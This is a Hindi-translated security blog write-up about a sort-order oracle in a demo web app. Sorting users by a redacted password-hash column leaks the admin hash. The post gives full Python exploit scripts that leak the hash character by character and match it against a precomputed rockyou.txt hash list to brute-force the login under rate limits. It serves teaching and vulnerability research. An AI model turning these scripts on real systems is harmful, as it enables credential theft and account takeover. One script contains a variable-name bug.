चोरी हुए पासवर्डों के लिए अपने तरीके को क्रमबद्ध करना

May 09 2023
परिचय हाल ही में मुझे एक अनूठी भेद्यता का सामना करना पड़ा जिसने मुझे पासवर्ड हैश निष्कर्षण करने की अनुमति दी, भले ही ऐसा प्रतीत हुआ कि डेटा को ठीक से संपादित किया जा रहा था। इस भेद्यता के व्यावहारिक निहितार्थों को प्रदर्शित करने के लिए, मैंने एक स्क्रिप्ट विकसित की है जो एक वर्ण-दर-वर्ण तुलना पद्धति को नियोजित करती है, धीरे-धीरे उपयोगकर्ताओं को सॉर्ट करके और उनकी स्थिति देखकर व्यवस्थापक पासवर्ड हैश का निर्माण करती है।
SHA256 व्यवस्थापक पासवर्ड हैश क्रैक करना

परिचय

हाल ही में मुझे एक अनूठी भेद्यता का सामना करना पड़ा जिसने मुझे पासवर्ड हैश निष्कर्षण करने की अनुमति दी, भले ही ऐसा प्रतीत हुआ कि डेटा को ठीक से संपादित किया जा रहा था।

इस भेद्यता के व्यावहारिक निहितार्थों को प्रदर्शित करने के लिए, मैंने एक स्क्रिप्ट विकसित की है जो एक वर्ण-दर-वर्ण तुलना पद्धति को नियोजित करती है, धीरे-धीरे उपयोगकर्ताओं को सॉर्ट करके और उनकी स्थिति देखकर व्यवस्थापक पासवर्ड हैश का निर्माण करती है। इस दृष्टिकोण ने, जबकि समय लगता है, पारंपरिक ब्रूट-फोर्स तकनीकों का सहारा लिए बिना SHA256 पासवर्ड हैश को क्रैक करने का एक अनूठा अवसर प्रस्तुत किया।

वेब एप्लिकेशन की खोज

इस भेद्यता को स्पष्ट करने के लिए, मैंने एक डेमो वेब एप्लिकेशन बनाया है जो इस सुरक्षा दोष का अनुकरण करता है। यह डेमो डॉकराइज्ड है और अगर आप इसे अपनी मशीन पर आजमाना चाहते हैं तो इसे यहां से डाउनलोड किया जा सकता है। वेब एप्लिकेशन इस तरह दिखता है:

डेमो वेबसाइट

एप्लिकेशन बुनियादी है, जिसमें एक उपयोगकर्ता तालिका शामिल है जिसमें सॉर्ट करने, एक नया उपयोगकर्ता जोड़ने और सभी उपयोगकर्ताओं को हटाने के विकल्प हैं। वास्तविक दुनिया के परिदृश्य में, यह कार्यक्षमता प्रमाणीकरण के पीछे अधिक उन्नत और सुरक्षित होगी।

बग ढूँढना

मेरे मानक वेब अनुप्रयोग सुरक्षा पद्धति का प्रदर्शन करते समय, मैंने कुछ दिलचस्प देखा जब यह उपयोगकर्ता तालिका में आया। बर्प सूट का उपयोग करते हुए, मैं यह देखने में सक्षम था कि जब मैंने index.html पृष्ठ देखा जो तालिका में उपयोगकर्ताओं को क्रमबद्ध करता है तो एक अनुरोध भेजा जा रहा था:

अब, यह कुछ ऐसा नहीं था जो विशेष रूप से सामान्य से बाहर था, लेकिन कॉलम को सॉर्ट करने के कुछ अलग तरीकों का प्रयास करने के बाद, मैंने पाया कि जब मैं password_hash द्वारा सॉर्ट किया गया तो उपयोगकर्ता की स्थिति बदल रही थी !

यह बहुत अजीब था, जैसा कि ऊपर दिए गए स्क्रीनशॉट में सभी हैश रिडक्टेड हैं , इसलिए उन्हें उस फ़ील्ड द्वारा सॉर्ट करते समय स्थिति नहीं बदलनी चाहिए ??

यह पता लगाने के लिए कि ऐसा क्यों हो रहा था, मैंने कोड पर कुछ विश्लेषण किया और यह पाया:

# Getting users for the table on index.html
@app.route('/users')
def get_users():
    sort_col = request.args.get('sort_col', default='id')
    sort_order = request.args.get('sort_order', default='asc')

    sorted_users = sorted(
        users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))

    redacted_users = []
    for user in sorted_users:
        redacted_user = user.copy()
        redacted_user['password_hash'] = 'REDACTED'
        redacted_users.append(redacted_user)

    return jsonify(redacted_users)

सिद्धांत रूप में, यदि हम पासवर्ड हैशिंग तंत्र (आमतौर पर SHA256, MD5, या bcrypt) जानते हैं या अनुमान लगा सकते हैं, तो हम पासवर्ड के साथ एक नया उपयोगकर्ता बना सकते हैं, जहां हम जानते हैं कि हैश क्या है, और इसका उपयोग उपयोगकर्ताओं को निर्धारित करने के लिए सॉर्ट करने के लिए करें व्यवस्थापक उपयोगकर्ता का पासवर्ड।

उपरोक्त आरेख में, व्यवस्थापक पासवर्ड डोनट है जिसमें 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f का SHA256 हैश है ।
मेरा लक्ष्य मेरे सामने सूची में व्यवस्थापक उपयोगकर्ता को वापस करना है। जब ऐसा होता है, मुझे पता है कि मेरा हैश व्यवस्थापक से पहले एक मूल्य के साथ शुरू होता है। तो उपरोक्त मामले में, मेरा हैश व्यवस्थापक से कम है, इसलिए यह [मुझे, व्यवस्थापक] लौटाता है।

इस आरेख में, मैंने अपना पासवर्ड 72yY2GEp41 में अपडेट किया, जिसके परिणामस्वरूप 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db का SHA256 हैश हुआ । चेक() फ़ंक्शन चलाते समय , मैं अभी भी सूची में पहले स्थान पर हूं। हालाँकि, फ़ंक्शन यह मान्य कर रहा है कि पहले वर्ण समान "2" == "2" हैं, फिर अगले वर्ण "f"> "4" की जाँच करता है, जो पहले मेरा हैश लौटाएगा।

अंत में, जब मेरा पासवर्ड हैश "3" वर्ण से शुरू होता है, जो कि "2" से शुरू होने वाले व्यवस्थापक पासवर्ड हैश से बड़ा होता है। इसलिए, व्यवस्थापक सूची में सबसे पहले लौटता है और हम यह निर्धारित कर सकते हैं कि व्यवस्थापक पासवर्ड हैश में इंडेक्स [0] स्लॉट में "2" है ! बहुत बढ़िया सही! अब इस सिद्धांत को कोड में बदलते हैं।

सिद्धांत को संहिता में बदलना

इस समस्या के लिए मेरा दृष्टिकोण अपेक्षाकृत धीमा है, इसलिए यदि आप इसे करने के अधिक कुशल तरीके के बारे में जानते हैं, तो कृपया टिप्पणी करें और मुझे बताएं!

व्यवस्थापक पासवर्ड हैश निकालने के लिए मैंने जो प्रक्रिया अपनाई वह इस प्रकार है:

  1. मेरे द्वारा चुने गए पासवर्ड के साथ एक नया उपयोगकर्ता बनाने के लिए कुछ फ़ंक्शन लिखें, उपयोगकर्ता तालिका साफ़ करें और उपयोगकर्ताओं को सॉर्ट करें। इसके लिए मैंने जो कोड बनाया है वह निम्न है:
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    

    अजगर के रूप में कॉपी करें - बर्प सूट एक्सटेंशन का अनुरोध करता है

2. अगला, मैंने चेक () नामक एक फ़ंक्शन बनाया, यह देखने के लिए कि क्या सॉर्ट_सर्स () फ़ंक्शन से json प्रतिक्रिया उपयोगकर्ता तालिका को व्यवस्थापक उपयोगकर्ता के साथ सूची में पहले, या दूसरा लौटा रही है :

def check():
    users = json.loads(sort_users())
    return users[0]['id'] == 1

3. अब मुझे एक SHA256 हैश खोजने में सक्षम होने की आवश्यकता है जो एक उपसर्ग के साथ शुरू हुआ, और उस हैश और हैश को उत्पन्न करने के लिए उपयोग की जाने वाली स्ट्रिंग दोनों को वापस कर दिया।
उदाहरण के लिए, अगर मुझे पता है कि मेरा admin_hash है: 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

फिर मुझे जो करना है वह हैश बनाना है जिसका उपयोग मैं इसे सॉर्ट करने के लिए कर सकता हूं। तो my_hash ऐसा दिख सकता है: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e । यहां विचार यह है कि चूंकि मैं डेटाबेस को सॉर्ट कर सकता हूं, इसलिए मैं यह निर्धारित कर सकता हूं कि my_hash की तुलना में admin_hash आरोही या अवरोही है या नहीं। तो 8c6976e... पहले 87227af से पहले दिखाई देगा... क्योंकि 8 बराबर हैं लेकिन " c" " 7" से पहले आता है अगर मेरा क्रम अवरोही मूल्यों के लिए है। विचार प्राप्त करें?

अब मुझे बस इतना करना है कि चरित्र से चरित्र जाना है, एक उपसर्ग के साथ हैश बनाना है जब तक कि मेरे पास व्यवस्थापक सादे-पाठ पासवर्ड और उनके हैश दोनों न हों। ऐसा करने के लिए मेरा कोड इस तरह दिखता था:

def gen_hash(prefix):
    while True:
        random_string = ''.join(random.choices(
            string.ascii_letters + string.digits, k=10))
        sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
        if sha256_hash.startswith(prefix):
            return random_string, sha256_hash

4. एक बार जब मेरे पास यह फ़ंक्शन काम कर रहा था, तो आखिरी चीज जो मुझे चाहिए थी वह चरित्र से चरित्र को फज़ करने के लिए तर्क था जब तक कि मुझे एक हैश नहीं मिला जो व्यवस्थापक से मेल खाता हो! ऐसा करने के लिए मेरा कोड ऐसा दिखता था:

if __name__ == '__main__':
    # SHA256 hashes can only have 0-9, a-f which limits our bank significantly. 
    bank = '0123456789abcdef'
    value = []
    # 64 chars is the length of a SHA256 hash
    while len(value) <= 64:
        found_match = False
        for char in bank:
            # Sends the POST request to clear all users but admin
            clear_users()
            # Ill talk about the 'ff' below :sad-doge:
            rand_string, hash = gen_hash("".join(value) + char + 'ff')
            # Creates a new user, with the random string that has our prefix
            create_user(password=rand_string)
            # Checking to see if admin comes first or second in the table
            if check():
                value.append(char)
                found_match = True
                break
            # Adds some animation because who likes boring CLIs
            print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
            time.sleep(0.1)
        if not found_match:
            value.append('0' if not value else 'f')

    print("\n[!] FINAL ADMIN HASH: " + ''.join(value))

कुल मिलाकर, यदि आप वह सभी कोड एक साथ रखते हैं, तो आपको अपने कंसोल में नीचे GIF जैसा कुछ दिखाई देना चाहिए:

आप GIF में देख सकते हैं कि मुझे केवल कुछ अक्षर मिल रहे हैं और फिर यह वास्तव में धीमा होने लगता है। ऐसा इसलिए है क्योंकि हम व्यवस्थापक उपयोगकर्ता पासवर्ड को सचमुच क्रूर बना रहे हैं। यह एक बड़ी सीमा है और इसके लिए हमलावर को पासवर्ड बनाने में काफी समय खर्च करने की आवश्यकता होगी। इसके और एक सामान्य ब्रूटफोर्स के बीच एकमात्र अंतर यह है कि यह सीमा आपके कंप्यूटर पर गणना शक्ति के कारण है। 5+ अक्षरों से शुरू होने वाले हैश को खोजने में बहुत समय लगता है जब तक कि आप हैश की पूर्व-गणना न करें या देखने के लिए एक बड़ी इंद्रधनुष तालिका न हो। कुल मिलाकर, इस तरह एक पूर्ण ब्रूटफोर्स प्राप्त करने से सर्वर को लगभग 500 अनुरोध प्राप्त होंगे, और आपको सही हैश मान प्राप्त करने के लिए एक TON स्ट्रिंग्स उत्पन्न करने की आवश्यकता होगी।

आपका विशिष्ट ब्रूटफोर्स नहीं

डेमो एप्लिकेशन मुख्य एंडपॉइंट्स पर 200 अनुरोध/घंटा और लॉगिन एंडपॉइंट पर 20 अनुरोध/घंटा के साथ रेट-लिमिटिंग में बनाया गया है। इस बात को ध्यान में रखते हुए, एक ब्रूटफोर्स हमले में पासवर्ड का अनुमान लगाने के लिए अरबों अनुरोध नहीं तो लाखों लग सकते हैं। लेकिन, क्या होगा अगर मैंने आपको बताया कि हम इसे 200 से कम अनुरोधों के साथ कर सकते हैं? आइए देखें कि यह कैसे काम करेगा।

जैसा मैंने पहली बार solve.py स्क्रिप्ट के साथ लिया था, उसी तरह इस तरीके में हम यह मानने जा रहे हैं कि पासवर्ड बेतरतीब ढंग से rockyou.txt से चुना गया है । अब यह थोड़ा धोखा दे रहा है लेकिन सूची में Rockyou.txt का 14,344,394 (14 मिलियन) पासवर्ड है। हम पता लगाने और दर-सीमा से बचने के लिए 200 अनुरोध के तहत पासवर्ड का "अनुमान" लगाने जा रहे हैं। आएँ शुरू करें।

  1. पहले solve.py स्क्रिप्ट के समान, मैं उन्हीं कार्यों का उपयोग करने जा रहा हूं जो वेब एप्लिकेशन के साथ इंटरैक्ट करते हैं लेकिन मैं एक लॉगिन फ़ंक्शन भी बनाने जा रहा हूं:
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    
    
    def login(username, password):
        url = f"http://{domain}/login"
        json = {"username": username, "password": password}
        r = requests.post(url, json=json)
        return r.status_code
    

import hashlib

with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
    with open('combined.txt', 'w') as output_file:
        for line in input_file:
            line = line.strip()
            hashed_line = hashlib.sha256(line.encode()).hexdigest()
            output_file.write(f'{hashed_line},{line}\n')

print('Conversion completed. Check combined.txt file.')

Rockyou.txt पासवर्ड हैश SHA256, पासवर्ड प्रारूप में है

2. अब मुझे एक ऐसा फ़ंक्शन लिखने की आवश्यकता है जो मेरे gen_hash(prefix) फ़ंक्शन के समान कार्य कर सके , लेकिन हैश खोजने के लिए हमारी नई संयुक्त.txt फ़ाइल के माध्यम से स्कैन करने के लिए जो उपसर्ग के आधार पर उपयोगकर्ता का पासवर्ड हैश हो सकता है । मैं शर्त लगाता हूं कि आप देखेंगे कि मैं अब इसके साथ कहां जा रहा हूं :)

def find_hashes(prefix):
    hashes = []
    passwords = []
    with open('combined.txt', 'r', errors='replace') as file:
        for line in file:
            line = line.strip()
            if line.startswith(prefix):
                values = line.split(',')
                if len(values) == 2:
                    sha256, password = values
                    hashes.append(sha256)
                    passwords.append(password)

    return hashes, passwords

3. /लॉगिन पृष्ठ केवल 20 अनुरोध/घंटा की अनुमति देता है। ऐसा कहा जा रहा है कि, मुझे अपना उपसर्ग मान काफी लंबे समय तक प्राप्त करने की आवश्यकता है जहां मैं find_hashes() फ़ंक्शन को कॉल कर सकता हूं, और यह 20 (या कम) पासवर्ड लौटाता है जो किसी दिए गए उपसर्ग मान से शुरू होता है।

Possible password hashes (notice they all start with the prefix):

hash_prefix: "b60d9"
     055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
  cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
    terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
     obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...

def bruteforce(password_list):
    for pwd in password_list:
        if login('admin', pwd) == 200:
            print(
                f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
    sys.exit(0)

if __name__ == '__main__':
    api_call_count = 0
    prefix = ""
    bank = '0123456789abcdef'
    for i in range(10):
        found_match = False
        for char in bank:
            clear_users()
            pwd, hash_value = gen_hash(prefix+char+'f')
            create_user(password=pwd)
            api_call_count += 3
            if check():
                found_match = True
                prefix += char
                tmp_hashes, tmp_passwords = find_hashes(prefix)
                if (len(tmp_hashes) < 20):
                    print(
                        f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
                    bruteforce(tmp_passwords)
                break
            print(
                f"[!] FINDING HASH: {prefix}{colored(char, 'red')}   -   [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
            time.sleep(0.2)
        if not found_match:
            hash += 'f' if hash else '0'

87 अनुरोधों के साथ rockyou.txt से यादृच्छिक पासवर्ड क्रैक करना

यह solve.py स्क्रिप्ट 2m 30s लेती है और 87 अनुरोधों का उपयोग करती है। 14,344,394 (14 मिलियन) पासवर्ड वाली Rockyou.txt वर्डलिस्ट में पासवर्ड हैश पूरी तरह से रैंडम है ।

निष्कर्ष

हालांकि मेरे डेमो वेब एप्लिकेशन ने "वर्ष के सबसे सुरक्षित वेब ऐप" के लिए कोई पुरस्कार नहीं जीता हो सकता है, यह निश्चित रूप से दिखाता है कि कुछ बग कितने अद्वितीय हो सकते हैं, और चैटजीपीटी जल्द ही मेरा काम क्यों नहीं ले रहा है।

एक तरफ चुटकुले, यह भेद्यता जो हमलावरों को चोरी किए गए पासवर्डों को अपने तरीके से सॉर्ट करने में सक्षम बनाती है, संभावित रूप से हानिरहित कार्यात्मकताओं के भीतर छिपे संभावित जोखिमों पर प्रकाश डालती है। गहन विश्लेषण और एक चतुर दृष्टिकोण के माध्यम से, हमलावर सावधान न होने पर कमजोर वेब एप्लिकेशन से पासवर्ड हैश निकाल सकते हैं।

नोट: यदि आप इस ब्लॉग पोस्ट को पसंद करते हैं और अपनी स्वयं की समाधान स्क्रिप्ट बनाने का प्रयास करना चाहते हैं, तो मैंने एक डॉकर कंटेनर बनाया है जो बेतरतीब ढंग से व्यवस्थापक पासवर्ड उत्पन्न करता है जिसे यहां डाउनलोड किया जा सकता है । हैप्पी हैकिंग!